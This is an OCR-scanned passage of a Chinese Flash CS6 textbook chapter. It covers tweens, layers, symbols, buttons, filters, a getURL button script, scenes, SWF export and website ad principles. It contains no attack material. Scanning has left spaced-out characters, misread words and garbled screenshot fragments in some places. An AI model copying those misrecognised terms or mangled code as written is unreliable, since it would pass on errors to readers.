(6) 建立 了 帧 过 渡 效 果 以 后 ， 可 以 在 过 渡 效 果 上 再 建立 关键 帧 。 选 择 第 8 帧 ， 然后 选择 “插入 ”| 


“时 间 轴 ” | “关键 帧 ”命令 ， 再 拖 动 文本 到 影片 的 左下 角 。 如 图 15-18 所 示 的 时 间 轴 上 已 经 建立 一 
个 关键 帧 。 


(7) 选择 “文件 ”| “保存 ”命令 ， 保 存 Flash 动画 。 
(8) 通过 “创建 补 间 动 画 ” 或 “创建 补 间 形 状 ” 命 令 可 以 自动 实现 两 个 关键 帧 之 间 形 状 的 渐变 。 


如 图 15-19 所 示 ， 实 现 了 一 个 矩形 到 一 个 圆 形 的 渐变 和 文字 到 矩形 的 渐变 。 通 过 图 形 渐变 可 以 实现 很 
多 神奇 的 动画 效果 。 
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15-18 ”时 间 轴 上 新 建 的 关键 帧 图 15-19 Flash 中 的 图 形 渐变 效果 
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15.2.7 ”添加 图 层 与 图 层 管理 


在 Flash 动画 中 ， 一 个 图 层 只 能 控制 一 个 元 件 的 运动 ， 一 个 完整 的 Flash 动画 通常 需要 建立 很 多 个 
图 层 ， 每 个 图 层 都 可 以 独立 地 命名 和 操作 。 当 图 层 的 数量 很 多 时 ， 需 要 建立 图 层 文件 夹 ， 图 层 可 以 拖 
放 到 图 层 文件 夹 中 。 

(1) 打开 Flash CS6, 选择 “文件 ”|“ 打 开 ” 命 令 , 在 弹出 的 “打开 ”对 话 框 中 选择 并 打开 15.2.6 
节 的 Flash 文件 “E:\flash egl.fla”。 

(2) 新 建 图 层 。 选 择 “ 插 入 ”1 “时 间 轴 ”| “图 层 ” 命 令 ， 即 可 在 时 间 轴 上 新 建 一 个 图 层 。 可 
以 在 时 间 轴 上 新 建 很 多 图 层 ， 如 图 15-20 所 示 。 

(3) 图 层 的 命名 。 在 一 个 图 层 的 名 称 上 双击 ， 即 可 输入 图 层 的 新 名 称 ， 如 图 15-21 所 示 ， 可 以 对 
动画 中 的 所 有 图 层 进行 命名 。 
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15-20 在 时 间 轴 上 新 建 多 个 图 层 15-21 对 图 层 进行 命名 


(4) 更 改 图 层 的 次 序 。 在 时 间 轴 上 选中 一 个 图 层 ， 然 后 把 它 拖 动 到 其 他 图 层 位 置 上 ， 即 可 更 改动 
画 中 图 层 的 次 序 。 在 影片 播放 时 ， 上 面 的 图 层 会 覆盖 下 面 的 图 层 ， 如 图 15-22 所 示 。 
(5) 建立 图 层 文件 夹 。 选 择 “ 插 入 ”| “时 间 轴 ”| “图 层 文件 夹 ”命令 ， 可 以 在 时 间 轴 上 建立 
一 个 图 层 文件 夹 。 图 层 文件 夹 可 以 和 图 层 一 样 更 名 和 改变 次 序 ， 如 图 15-23 所 示 。 
ian ER aw 
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15-22 更 改 图 层 的 次 序 图 15-23 建立 图 层 文件 来 


(6) 选择 一 个 图 层 ， 拖 动 到 图 层 文件 夹 的 位 置 上 释放 ， 可 以 把 一 个 图 层 放 置 到 图 层 文 件 夹 中 。 当 
动画 中 有 很 多 图 层 时 ， 图 层 文件 夹 可 以 更 方便 地 管理 和 操作 图 层 ， 如 图 15-24 所 示 。 

(7) 锁定 图 层 。 当 动画 中 有 很 多 图 层 时 ， 在 工作 区 进行 设计 就 很 容易 误 操作 其 他 的 图 层 。 这 时 锁 
定 不 需要 更 改 的 图 层 。 右 击 一 个 图 层 ， 在 弹出 的 快捷 菜单 中 选择 “锁定 其 他 图 层 ” 命 令 ， 即 可 锁定 这 
个 工作 图 层 以 外 的 图 层 ， 如 图 15-25 所 示 ， 锁 定 的 图 层 上 面 会 有 一 个 锁 的 标志 。 

(8) 隐藏 图 层 。 当 工作 区 有 很 多 图 层 时 ， 需 要 隐藏 不 需要 的 图 层 ， 以 免 干 扰 工 作 图 层 的 操作 。 右 
击 一 个 图 层 ， 在 弹出 的 快捷 菜单 中 选择 “隐藏 其 他 图 层 ” 命 令 ， 即 可 隐藏 这 个 工作 图 层 以 外 的 图 层 ， 
如 图 15-26 所 示 。 
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15-24 ”把 图 层 放 置 到 图 层 文件 夹 中 15-25 ”锁定 图 层 
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15-26 ”隐藏 图 层 


(9) 删除 图 层 。 当 时 间 轴 中 有 不 需要 的 图 层 时 ， 可 以 删除 不 需要 的 图 层 。 右 击 一 个 需要 删除 的 图 
层 ， 在 弹出 的 快捷 菜单 中 选择 “删除 图 层 ” 命 令 ， 即 可 删除 该 图 层 。 


15.2.8 插入 元 件 


Flash 中 的 不 同 元 素 在 反复 使 用 时 ， 需 要 建立 成 元 件 ， 在 元 件 库 中 被 所 有 的 图 层 与 场景 调用 。Flash 
动画 的 所 有 内 容 都 可 以 看 作 元 件 。 右 击 Flash 工作 区 中 的 一 个 对 象 ， 在 弹出 的 快捷 菜单 中 选择 “转换 为 
元 件 ” 命 令 ， 即 可 将 这 一 对 象 转换 为 一 个 元 件 。 如 图 15-27 所 示 是 “创建 新 元 件 ” 对 话 框 。 

Flash 有 图 形 、 按 钮 、 影 片 剪辑 3 种 元 件 。 在 新 建 元 件 时 ， 需 要 根据 元 件 的 内 容 和 元 件 的 使 用 方式 
建立 不 同 的 元 件 。 

图 形 : Flash 中 的 图 形 元 件 ， 在 Flash 的 时 间 轴 中 是 作为 一 个 图 形 的 。 在 图 形 元 件 中 ， 也 可 以 

像 Flash 动画 一 样 建立 图 层 与 动画 。 但 在 时 间 轴 中 , 图形 的 动画 播放 时 间 与 时 间 轴 中 的 图 形 显 
示 时 间 相 同 。 

回 ”按钮 : Flash 中 的 按钮 可 以 理解 为 程序 中 的 普通 按钮 ， 按 钮 在 鼠标 动作 时 有 相应 的 响应 事件 。 

回 ”影片 剪辑 : 影片 剪辑 与 图 形 元 件 相 似 ， 不 同 的 是 影片 剪辑 在 动画 中 是 持续 播放 的 。 

Flash 的 图 形 元 件 是 Flash 动画 中 最 常用 的 元 件 。 图 形 元 件 可 以 是 一 个 静态 图 形 ， 也 可 以 是 一 个 影 
片 。 所 插入 的 文本 也 可 以 转换 为 一 个 图 形 元 件 。 在 影片 中 ， 可 以 反复 使 用 工程 中 的 元 件 。 

本 节 示 例 中 ， 将 新 建 一 个 旋转 的 风车 影片 剪辑 元 件 。 

(1) 打开 Flash CS6， 选 择 “文件 ”| “新 建 ” 命 令 ， 新 建 一 个 Flash 影片 。 

(2) 选择 “插入 ”| “新 建 元 件 ” 命 令 ， 新 建 一 个 影片 剪辑 元 件 ， 如 图 15-28 所 示 是 “创建 新 元 
件 ” 对 话 框 ， 在 “名 称 ” 文 本 框 中 输入 元 件 名 称 “ 风 车 ”， 在 “类 型 ”下 拉 列 表 框 中 选择 “影片 剪辑 ” 
选项 ， 然 后 单 击 “ 确 定 ” 按 钮 ， 完 成 元 件 的 新 建 。 

(3) 单 击 “ 椭 圆 工具 ”全 ， 选 择 填 充 颜色 为 红色 ， 无 边框 颜色 ， 然 后 按 住 Shift 键 在 工作 区 上 拖 
动 ， 画 出 一 个 正 圆 ， 如 图 15-29 所 示 。 
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名 称 (N): 风 村 EE 
类 型 [影片 角 加 1] 取消 
文件 夫 : 庄 要 目录 文件 夫 : 庄 根 目录 
高 级 高 级 


图 15-27 建立 元 件 图 15-28 ”建立 元 件 


(4) 颜色 分 区 。 在 工具 栏 上 单 击 “ 套 索 工具 ”号 ， 用 套 索 工具 在 圆 中 选取 圆 的 1/4， 再 选择 一 个 颜 
色 ， 这 时 圆 的 这 一 部 分 就 是 另外 一 种 颜色 。 用 同样 的 方法 ， 将 圆 设 计 成 四 等 分 颜色 ， 如 图 15-30 所 示 。 


© 


15-29 ”在 工作 区 中 夯 一 个 圆 


图 15-30 ”使 用 套 索 工具 将 圆 的 颜色 分 为 4 份 

(5) 使 用 套 索 工具 选择 圆 中 的 一 个 边 角 ， 按 Delete 键 删除 ， 挖 去 圆 的 一 部 分 ， 如 图 15-31 所 示 ， 
形成 一 个 风车 的 形状 。 

(6) 变形 操作 。 在 工具 栏 上 单 击 “ 橡 皮 控 工 具 ” 外 ， 按 住 Ctrl 键 不 放 ， 这 时 橡皮 控 工 具 就 是 一 个 
变形 工具 。 使 用 变形 工具 在 图 形 的 边线 上 拖 动 ， 更 改 图 形 边线 的 轮廓 ， 使 图 形变 形 为 一 个 风车 形状 ， 
如 图 15-32 所 示 。 


图 15-31 用 套 索 工具 将 圆 挖 去 缺口 


图 15-32 用 变形 工具 将 图 形变 形 

(7) 选择 “插入 ”| “时 间 轴 ”| “图 层 ” 命 令 ， 在 时 间 轴 上 新 建 一 个 图 层 ， 并 命名 为 “支架 ”。 

(8) 在 “风车 ”图 层 的 第 25 帧 位 置 处 单 击 ， 然 后 选择 “插入 ” | “时 间 轴 ” | “关键 帧 ”命令 ， 
在 这 一 帧 上 面 插入 一 个 关键 帧 ， 时 间 轴 与 图 层 如 图 15-33 所 示 。 

(9) 在 “风车 ”图 层 的 第 一 个 关键 帧 上 右 击 ， 在 弹出 的 快捷 菜单 中 选择 “创建 传统 补 间 ”命令 。 
在 “属性 ”面板 上 设置 顺 时 针 旋转 一 周 ， 即 可 实现 风车 的 转动 ， 如 图 15-34 所 示 。 
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15-33 “风车 ”和 “支架 ”图 层 
(10) 在 时 间 轴 上 选择 “支架 ”图 层 ， 在 这 一 层 上 制作 一 个 支架 。 在 工具 栏 中 单 击 “ 和 矩形 工具 ”， 
用 和 矩形 工具 在 工作 区 中 绘制 出 一 个 和 矩形， 然后 在 工具 栏 中 单 击 “ 任 意 变 形 工具 ”， 再 在 绘制 出 的 甜 
形 上 单 击 。 用 变形 工具 对 拢 形 进行 变形 ， 选 择 矩 形 的 颜色 为 渐变 填充 。 风 车 与 支架 的 效果 如 图 15-35 


所 示 。 


| 
于 
了 标签 
吕 补 周 
组 动 : 0 2 
施 转 : [ 顺 H 针 jv]x 1 
区 贴 虹 口 调整 路径 
区 同步 区 六 让 
图 15-34 设置 属性 图 15-35 添加 支架 以 后 的 风车 


(11) 在 Flash 的 时 间 轴 上 创建 3 个 图 层 ， 并 对 3 个 图 层 进行 命名 ， 如 图 15-36 所 示 。 
(12) 在 时 间 轴 上 选择 “背景 图 片 ”图 层 。 选 择 “ 文 件 ”| “导入 ”| “导入 到 舞台 ”命令 ， 导 
入 一 张 草地 图 片 作为 动画 的 背景 ， 如 图 15-37 所 示 。 
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图 15-36 新 建 3 个 图 层 图 15-37 导入 图 片 作为 动画 的 背景 


(13) 在 时 间 轴 上 选择 “风车 ”图 层 ， 选 择 “窗口 ”| “ 库 ” 命 令 ， 找 到 已 经 建立 的 风车 元 件 。 
库 中 的 风车 元 件 如 图 15-38 所 示 。 

(14) 选择 风车 元 件 ， 将 风车 从 库 中 拖 入 影片 中 ， 如 图 15-39 所 示 。 这 样 ， 风 车 元 件 就 成 为 了 影 
片 的 一 个 图 层 。 
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图 15-38 ” 库 中 的 风车 元 件 15-39 动画 中 的 风车 


(15) 在 时 间 轴 中 选择 “文字 ”图 层 ， 然 后 单 击 工具 栏 中 的 “文本 工具 ”， 在 “文字 ”图 层 中 插 
入 文本 。 将 Flash 中 的 元 件 进行 布局 ， 如 图 15-40 所 示 。 
(16) 按 Ctrl+Enter 快捷 键 播放 动画 ， 动 画 的 效果 如 图 15-41 所 示 。 


图 15-40 动画 中 图 层 的 布局 图 15-41 风车 动画 的 播放 效果 


(17) 选择 “文件 ”| “保存 ”命令 ,保存 Flash 动画 。 
15.2.9 ”按钮 元 件 


按钮 是 Flash 中 的 一 种 常用 元 件 ， 可 以 用 来 实现 超级 链接 、 鼠 标 事件 、 程 序 交 互 等 内 容 。 

一 个 按钮 元 件 通常 有 4 帧 ， 对 应 着 鼠标 事件 中 的 正常 、 鼠 标 经 过 、 鼠 标 按 下 、 鼠 标 单 击 4 个 状态 。 
在 一 个 图 层 中 ， 并 不 一 定 需要 所 有 的 4 个 状态 ， 而 且 某 个 状态 的 帧 也 可 以 用 图 形 或 影片 剪辑 来 实现 。 
按钮 中 通常 用 很 多 图 层 来 实现 复杂 的 视觉 效果 ， 如 图 15-42 所 示 是 按钮 元 件 的 图 层 与 帧 ， 如 图 15-43 
所 示 是 动画 中 的 按钮 。 

(1) 打开 Flash CS6， 选 择 “文件 ”| “新建 ”命令 ， 新 建 一 个 Flash 影片 。 
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司 局 了 EL as EL 
15-42 ”按钮 元 件 的 图 层 与 帧 15-43 ”动画 中 的 按钮 


(2) 选择 “插入 ”| “新 建 元 件 ” 命 令 ， 新 建 一 个 按钮 元 件 。 如 图 15-44 所 示 是 “创建 新 元 件 ” 
对 话 框 ， 在 “名 称 ” 文 本 框 中 输入 元 件 名 称 “ 按 钮 ”， 在 “类 型 ”下 拉 列 表 框 中 选择 “按钮 ”选项 ， 
然后 单 击 “ 确 定 ”按钮 ， 完 成 元 件 的 新 建 。 

(3) 新 建 图 层 。 选 择 “ 插 入 ”| “时 间 轴 ”| “图 层 ” 命 令 ， 在 按钮 元 件 中 插入 一 个 图 层 。 这 个 
按钮 元 件 有 两 个 图 层 ， 一 个 图 层 是 按钮 的 形状 ， 另 一 个 图 层 是 按钮 的 文本 。 对 两 个 图 层 进行 重 命名 ， 
时 间 轴 和 图 层 如 图 15-45 所 示 。 


Siwi | 


类 型 (D: | 近 四 | 
文件 夹 : 库 根 目录 
高 级 * 


-一 一 EE | 
图 15-44 ”建立 按钮 元 件 图 15-45 ”按钮 的 时 间 轴 和 图 层 


(4) 在 时 间 轴 上 选择 “图 形 ” 图 层 的 第 1 帧 ， 然 后 单 击 工具 栏 上 的 “基本 矩形 工具 ”加 ,在 “ 属 
性 ”面板 上 设置 基本 矩形 工具 ， 如 图 15-46 所 示 。 笔 触 颜色 选择 “黑色 ”; 再 单 击 “ 填 充 颜色 ”， 选 
择 “ 灰 色 ”。 在 圆 角 设置 中 拖 动 滑 块 ， 设 置 圆 角 值 为 5。 

(5) 在 工作 区 中 单 击 绘制 出 一 个 圆 角 和 矩形， 作为 按钮 的 图 形 ， 如 图 15-47 所 示 。 注 意 ， 和 矩形 的 大 
小 要 适中 。 


| 
器。 拓 形 工具 
呈 尖 充 和 和 污 想 
7 | 


15-46 设置 基本 和 矩形 工具 15-47 用 圆 角 矩形 作为 按钮 的 图 形 
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(6) 在 “图 形 ” 图 层 的 第 2 帧 上 右 击 ， 在 弹出 的 快捷 菜单 中 选择 “插入 关键 帧 ”命令 ,插入 一 个 
关键 帧 ， 然 后 选择 工作 区 上 的 圆 角 矩形， 设置 圆 角 和 矩形 的 颜色 。 用 相同 的 方法 ， 设 置 图形 的 另外 两 个 
帧 的 状态 。 时 间 轴 上 的 “图 形 ” 图 层 如 图 15-48 所 示 。 

时 间 铀 


Kum ss [LEE 
15-48 ”按钮 的 “图 形 ” 图 层 
(7) 选择 “文本 ”图 层 的 第 1 帧 ， 时 间 轴 如 图 15-49 所 示 。 


Tl aa 5 ELEeseeeeg 
图 15-49 选择 “文本 ”图 层 的 第 1 帧 


(8) 在 工具 栏 上 单 击 “ 文 本 工具 ”了 j， 在 所 绘制 出 的 圆 角 拢 形 的 区 域 单 击 添加 文本 “确定 ”， 设 
置 文本 的 字体 和 大 小 ， 如 图 15-50 所 示 。 
(9) 在 “文本 ”图 层 的 第 2 帧 上 右 击 ， 在 弹出 的 快捷 菜单 中 选择 “插入 关键 帧 ”命令 ， 插 入 一 个 
关键 帧 。 用 同样 的 方法 ， 在 第 3 帧 、 第 4 帧 上 面 插入 关键 帧 ， 时 间 轴 如 图 15-51 所 示 。 
时 间 负 


图 15-50 ”按钮 中 的 文本 图 15-51 按钮 的 “文本 ”图 层 
(10) 单 击 时 间 轴 下 方 工作 区 中 的 “场景 1”， 回 到 场景 视图 ， 如 图 15-52 所 示 。 
TR ~ 


15-52” 回 到 场景 视图 


(11) 选择 “窗口 ”| “ 库 ” 命 令 ， 找 到 已 经 建立 的 按钮 元 件 ， 如 图 15-53 所 示 。 

(12) 在 库 中 选择 按钮 元 件 ， 按 住 按钮 元 件 不 放 拖 动 到 工作 区 中 ， 这 样 就 将 一 个 按钮 元 件 插入 到 
影片 的 图 层 中 ， 如 图 15-54 所 示 。 

(13) 按 Ctrl+Enter 快捷 键 播放 动画 ， 动 画 的 效果 如 图 15-55 所 示 。 


@ 
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西 拓 图 15-54 影片 中 的 按钮 元 件 
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Doamr ea 
图 15-53 ” 库 中 的 按钮 元 件 图 15-55 动画 中 的 按钮 效果 


(14) 选择 “文件 ”| “保存 ”命令 ， 保 存 Flash 动画 。 
15.2.10 ”元 件 使 用 滤 镜 


在 Flash CS6 中 ， 可 以 方便 地 使 用 滤 镜 功能 。 滤 镜 功 能 可 以 大 大 简化 动画 效果 的 操作 ， 增 强 动画 画 
面 的 表现 效果 。 


(1) 打开 Flash CS6， 选 择 “文件 ”| “新建” 命令 ， 新 建 一 个 Flash 影片 。 
(2) 在 Flash CS6 的 工具 栏 上 单 击 “ 文 本 工具 ”T ， 然 后 在 影片 中 单 击 并 拖 动 , 产生 一 个 文本 框 ， 
在 文本 框 中 输入 文本 “你 好 ”。 
(3) 选择 文本 ， 在 文本 的 “属性 ”面板 中 设置 文本 的 字体 为 黑体 ， 大 小 为 50， 如 图 15-56 所 示 。 
(4) 用 同样 的 方法 再 插入 3 个 相同 的 文本 ， 如 图 15-57 所 示 。 


fe 
你 好 
图 15-56 影片 中 的 文本 (一 ) 图 15-57 影片 中 的 文本 (二) 


(5) 选择 第 二 个 文本 ， 再 选择 “窗口 ”| “属性 ”| “ 滤 镜 ”命令 ， 在 显示 的 “ 滤 镜 ”面板 中 单 
击 “ 添 加 滤 镜 ”按钮 ， 在 弹出 的 菜单 中 选择 “模糊 ”命令 ， 对 这 个 文本 使 用 “模糊 ” 滤 镜 。“ 滤 镜 ” 


ET 


面板 的 设置 如 图 15-58 所 示 。 
(6) 选择 第 3 个 文本 ， 在 “ 滤 镜 ”面板 中 单 击 “ 添 加 滤 镜 ”按钮 ， 在 弹出 的 菜单 中 选择 “和 斜 角 ” 
命令 ， 对 这 个 文本 使 用 “和 斜 角 ” 滤 镜 。“ 滤 镜 ” 面 板 的 设置 如 图 15-59 所 示 。 
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图 15-58 “ 滤 镜 ”面板 的 设置 (一 ) 15-59 “ 滤 镜 ”面板 的 设置 (二 ) 


(7) 选择 第 4 个 文本 ， 在 “ 滤 镜 ”面板 中 单 击 “ 添 加 滤 镜 ”按钮 ， 在 弹出 的 菜单 中 选择 “渐变 发 
光 ” 命 令 ， 对 这 个 文本 使 用 “渐变 发 光 ” 滤 镜 。“ 滤 镜 ” 面 板 的 设置 如 图 15-60 所 示 。 

(8) 此 时 的 文本 效果 如 图 15-61 所 示 。 可 见 ， 使 用 滤 镜 后 ， 文 本 的 显示 有 了 很 大 的 变化 。Flash 
的 图 层 都 可 以 使 用 这 种 滤 镜 。 
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图 15-60 “ 滤 镜 ”面板 的 设置 (三 ) 图 15-61 使 用 了 滤 镜 的 文本 


(9) 选择 “文件 ”| “保存 ”命令 ， 保 存 Flash 动画 。 
(10) 按 Ctrl+Enter 快捷 键 播放 动画 ， 动 画 的 效果 如 图 15-62 所 示 。 


第 15 章 


你 好 你 好 
你 好 ”你 好 


15-62 动画 的 文本 中 使 用 了 滤 镜 的 效果 


15.2.11 ” 库 的 管理 与 使 用 


Flash 的 元 件 建立 了 以 后 ， 是 存放 在 库 里 面 的 。 通 过 库 可 以 很 方便 地 对 所 有 元 件 进 行 管 理 、 复 制 、 
重 命名 、 查 看 等 操作 。 

(1) 打开 Flash CS6, 选择 “文件 ”|“ 打 开 ” 命 令 , 在 弹出 的 “打开 ”对 话 框 中 选择 并 打开 15.2.2 
节 中 的 Flash 文件 “E:\flash egl.fla”。 

(2) 选择 “窗口 ”| “ 库 ” 命 令 ，Flash CS6 将 显示 元 件 的 “ 库 ” 面 板 。 在 库 中 选择 一 个 元 件 ， 
在 预览 窗口 即 显示 这 个 元 件 的 效果 。 

(3) 选择 一 个 元 件 并 将 其 拖 动 到 工作 区 中 ， 即 可 将 这 个 元 件 插 入 到 动画 中 。 

(4) 双击 一 个 元 件 的 名 称 ， 然 后 在 元 件 的 名 称 框 中 输入 该 元 件 的 新 名 称 ， 即 可 对 该 元 件 进行 重 命 
名 ， 如 图 15-63 所 示 。 

Flash 提供 了 公用 库 功能 。 公 用 库 是 系统 提供 的 库 元 件 ， 按 照 不 同类 型 放置 在 不 同 的 文件 夹 中 。 系 
统 提供 了 学 习 交 互 、 按 钮 和 类 3 种 公用 库 。 选 择 “ 窗 口 ”| “公用 库 ” 命 令 ， 再 选择 一 个 库 ， 即 可 打开 
一 个 公用 库 。 如 图 15-64 所 示 是 公用 按钮 库 ， 需 要 使 用 按钮 时 ， 可 以 在 公用 按钮 库 中 选择 一 个 按钮 拖 入 
工作 区 中 。 公 用 库 中 的 元 件 是 可 以 编辑 的 ， 插 入 工作 区 的 元 件 可 以 按照 自己 的 需要 更 改 成 需要 的 样式 。 
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15-63 元件 重 命名 图 15-64 公用 库 中 的 按钮 元 件 
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15.2.12 ”插入 脚本 


Flash 中 的 交互 功能 和 一 些 复杂 的 效果 是 靠 ActionScript 的 编程 来 实现 的 ，ActionScript 把 影片 中 的 
元 件 与 事件 作为 对 象 进行 编程 。 

Flash 提供 了 非常 方便 的 编程 帮助 功能 。 用 户 只 需要 进行 简单 的 鼠标 单 击 操作 ， 在 提示 的 窗口 中 填 
写 一 些 内 容 ， 即 可 自动 完成 各 种 功能 的 程序 编写 。 选 择 “ 窗 口 ” |“ 动作 ”命令 ,或 按 F9 键 ， 即 可 打 
动作 脚本 管理 工具 。 例 如 ， 对 一 个 按钮 进行 编程 ， 需 要 实现 单 击 按钮 链接 到 一 个 网 页 ， 可 以 用 以 下 


步骤 完成 。 
(1) 打开 Flash CS6， 选 择 “ 文 件 ”| “新 建 ”命令 ,新建 一 个 动画 。 
(2) 选择 “窗口 ”| “公用 库 ”| “按钮 ”命令 ， 打 开 “ 库 ”面板 。 


(3) 在 “ 库 ” 面 板 中 打开 文件 夹 ， 浏 览 按 钮 元 件 。 选 择 一 个 需要 的 按钮 ， 拖 动 到 工作 区 中 ， 如 
图 15-65 所 示 。 

(4) 单 击 Enter 按钮 ， 选 择 “ 窗 口 ”| “动作” 命令， 打开 “动作 ”面板 。 

(5) 单 击 打开 脚本 提示 的 “全 局 函数 ”文件 夹 ， 在 显示 的 列表 中 打开 “影片 剪辑 控制 ”文件 夹 。 
在 显示 的 函数 列表 中 单 击 on 事件 ， 即 可 在 右 侧 代码 区 中 生成 鼠标 单 击 事件 的 代码 ， 如 图 15-66 所 示 。 
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SetURL ("http://www. baidu. com'，"_blank") 1 
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图 15-65 ”从 按钮 库 中 插入 一 个 按钮 15-66 ”在 “动作 ”面板 中 生成 鼠标 事件 

(6) 如 图 15-66 所 示 ， 在 鼠标 事件 类 型 中 选择 需要 的 鼠标 事件 类 型 。 

(7) 单 击 代码 中 的 事件 区 域 ， 再 单 击 “ 全 局 函数 ”文件 夹 ， 在 显示 的 列表 中 单 击 “ 浏 览 器 /网 络 ” 
文件 夹 ， 在 列表 中 单 击 getURL 事件 ， 即 可 生成 打开 网 页 的 函数 。 这 时 ， 需 要 在 右边 的 提示 区 中 设置 相 
关 的 URL、 窗口 、 变 量 等 内 容 。 在 URL 文本 框 中 输入 需要 打开 的 网 页 “http://www.baidu.com”, 在 “ 窗 
口 ”下 拉 列 表 框 中 选择 _blank 选项 ， 表 示 新 建 一 个 浏览 器 窗口 ， 如 图 15-67 所 示 。 
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(8) 选择 “文件 ”| “保存 ”命令 ， 保 存 Flash 动画 。 
(9) 按 Ctrl+Enter 快捷 键 播放 动画 ， 动 画 的 效果 如 图 15-68 所 示 。 单 击 Enter 按钮 ， 脚 本 将 打开 
浏览 器 ， 并 在 浏览 器 中 打开 所 设置 的 网 页 。 
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第 2 行 ; getURL("http://www.badu,com, ”blank"); 
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图 15-67 利用 动作 管理 器 生成 代码 图 15-68 脚本 控制 的 浏览 器 事件 


15.2.13 ”插入 场景 


在 Flash 中 ， 当 一 个 场景 中 的 图 层 过 于 复杂 ， 不 容易 完成 所 有 的 动画 时 ， 可 以 新 建 场景 。Flash 中 
的 场景 可 以 理解 为 电影 中 的 镜头 或 场景 。 

选择 “插入 ”|“ 场 景 ” 命 令 ， 即 可 在 Flash 中 插入 一 个 新 场景 。 选 择 “ 窗 口 ”| “其 他 面板 ”| 
“场景 ”命令 ， 即 可 打开 “场景 ”面板 ， 在 其 中 可 以 对 场景 进行 重 命名 、 调 整 次 序 、 复 制 等 操作 。 如 
图 15-69 所 示 是 在 “场景 ”面板 中 管理 与 设置 场景 ， 双 击 一 个 场景 ， 即 可 打开 该 场景 进行 编辑 。 


场景 
场景 1 
所 场景 2 


图 15-69 场景 管理 器 


15.2.14 ”影片 设置 与 导出 
Flash 的 工作 文件 为 FLA 格式 ， 是 不 能 进行 直接 播放 的 。 影 片 完成 制作 以 后 ， 需 要 导出 为 浏览 
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可 以 播放 的 SWF 格式 的 Flash 影片 。Flash 文件 的 导出 相当 于 程序 的 编译 。 导 出 以 后 的 SWF 文件 是 可 
以 被 直接 播放 的 ， 但 是 已 经 封装 ， 不 能 够 被 再 次 编辑 。 

(1) 打开 Flash CS6, 选择 “文件 ”|“ 打 开 ” 命 令 , 在 弹出 的 “打开 ”对 话 框 中 选择 并 打开 15.2.2 
节 中 的 Flash 文件 “FE:\flash egl.fla”。 

(2) Flash 的 导出 需要 有 一 些 设置 。 选 择 “ 文 件 ”| “发 布设 置 ”命令 ， 即 可 显示 如 图 15-70 所 示 
的 “发 布设 置 ”对 话 框 ， 选 择 Flash 选项 卡 ， 其 中 的 重要 设置 如 下 。 


播放 器 : 影片 导出 为 哪 种 版 本 播放 器 可 以 播放 的 影片 。Flash 的 播放 器 有 不 同 的 版 本 ， 其 中 
低 版 本 的 播放 器 不 能 播放 高 版 本 的 影片 。 在 导出 时 ， 需 要 根据 使 用 对 象 设置 不 同 的 导出 版 本 。 
脚本 : ActionScript 语言 有 不 同 的 版 本 。 在 导出 时 ， 需 要 根据 编程 的 版 本 进行 设置 。 现 有 的 播 
放 器 支持 ActionScript 1.0、ActionScript 2.0、ActionScript 3.0 等 不 同 版 本 。 

脚本 时 间 限 制 ，Flash 中 的 程序 脚本 如 果 出 现 错误 或 死 循 环 以 后 ， 需 要 及 时 中 断 脚 本 的 执行 。 
在 Flash 中 需要 对 这 个 时 间 进 行 设置 。 

JPEG 品质 : 导出 影片 中 图 片 的 质量 。 图 片 的 品质 越 高 ， 影 片 的 文件 也 就 越 大 ， 影 片 的 清晰 度 
就 越 高 。 

音频 流 与 音频 事件 :对 影片 中 的 声音 质量 进行 设置 。 


(3) 影片 防止 导入 。 导 出 以 后 的 影片 ， 可 以 被 Flash 再 次 导入 ， 提 取 影 片 中 的 元 件 与 对 象 进行 编 
辑 。 影 片 在 导出 时 ， 可 以 设置 防止 导入 与 密码 选项 ， 这 样 在 用 户 导 入 动画 时 如 果 没 有 正确 的 密码 就 不 
能 导入 动画 。 影 片 防止 导入 的 设置 如 图 15-71 所 示 。 选 中 “防止 导入 ” 复 选 框 ， 可 以 在 “密码 ”文本 
框 中 输入 需要 设置 的 密码 。 
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脚本 时 间 限制 : 15 。 秒 


图 15-70 发 布设 置 15-71 影片 防止 导入 的 设置 


(4) 导出 为 其 他 格式 的 影片 。 制作 完成 的 影片 ,除了 可 以 导出 为 用 Flash 播放 器 播放 的 SWF 格式 
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以 外 ， 还 可 以 导出 为 其 他 格式 。Flash 影片 可 以 导出 为 GIF 动画 或 JPEG 图 像 序列 ， 还 可 以 导出 为 可 以 
直接 运行 的 EXE 播放 文件 。 如 图 15-72 所 示 是 将 影片 设置 为 其 他 的 导出 格式 ， 如 图 15-73 所 示 是 动画 
导出 为 GIF 格式 时 的 影片 质量 设置 。 影 片 导出 为 GIF 动画 后 ， 这 个 动画 就 能 以 GIF 图 片 格式 插入 到 网 
页 中 。 


当前 配置 文件 [对 认 文人 四 :周文 件 z] 国 刚 | 到 | 网 | 序 
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调 名 板 类 型 0); Yeb 216 色 = 
最 多 颜色 0); |255 
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图 15-72 影片 导出 为 其 他 格式 图 15-73 影片 导出 为 GIF 的 设置 


(5) 单 击 “ 发 布 ”按钮 ， 即 可 将 动画 发 布 为 已 经 选择 的 格式 。 所 发 布 的 文件 放置 在 动画 的 工作 文 
件 夹 下 面 。 


15.3 ”网 站 广告 设计 


广告 是 一 个 网 站 不 可 缺少 的 内 容 ， 也 是 一 个 网 站 的 基本 经 营 模式 之 一 。 网 站 广告 可 以 用 各 种 方式 
灵活 地 布置 在 各 个 版 面 中 。 


15.3.1 网 站 广告 设计 的 基本 原则 
设计 网 站 广告 时 ， 需 要 与 网 站 的 内 容 等 各 方面 的 因素 结合 起 来 ， 使 广告 与 网 站 融 为 一 体 。 网 站 中 
的 广告 一 般 应 满足 如 下 规则 。 
回 ”内 容 原则 ; 网 站 中 的 广告 需要 与 网 站 的 主题 基本 一 致 。 网 页 中 最 好 不 要 随意 播放 与 网 站 内 容 
完全 无 关 的 广告 。 
回 “布局 原则 : 网 站 中 的 广告 需要 有 合理 的 布局 ， 占 据 网 站 中 合理 的 位 置 。 广 告 讲求 的 “眼球 经 


ES 
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济 ”， 需 要 用 户 在 访问 网 站 时 很 容易 注意 到 广告 的 内 容 。 同 时 ， 不 要 在 网 站 的 主要 版 面 放 置 让 
用 户 反感 的 广告 。 

回 色彩 原则 : 一 个 网 页 中 所 有 的 内 容 都 需要 与 主题 色彩 保持 一 致 。 网 页 中 的 广告 可 以 为 了 吸引 
用 户 的 注意 而 使 用 鲜艳 的 色彩 ， 但 在 主要 风格 上 不 能 违背 网 页 的 基本 颜色 定位 。 

回 ”媒体 类 型 : 网 站 中 的 广告 除了 使 用 文本 或 文本 链接 以 外 ， 还 可 以 使 用 JPG 图 片 、GIF 动画 图 
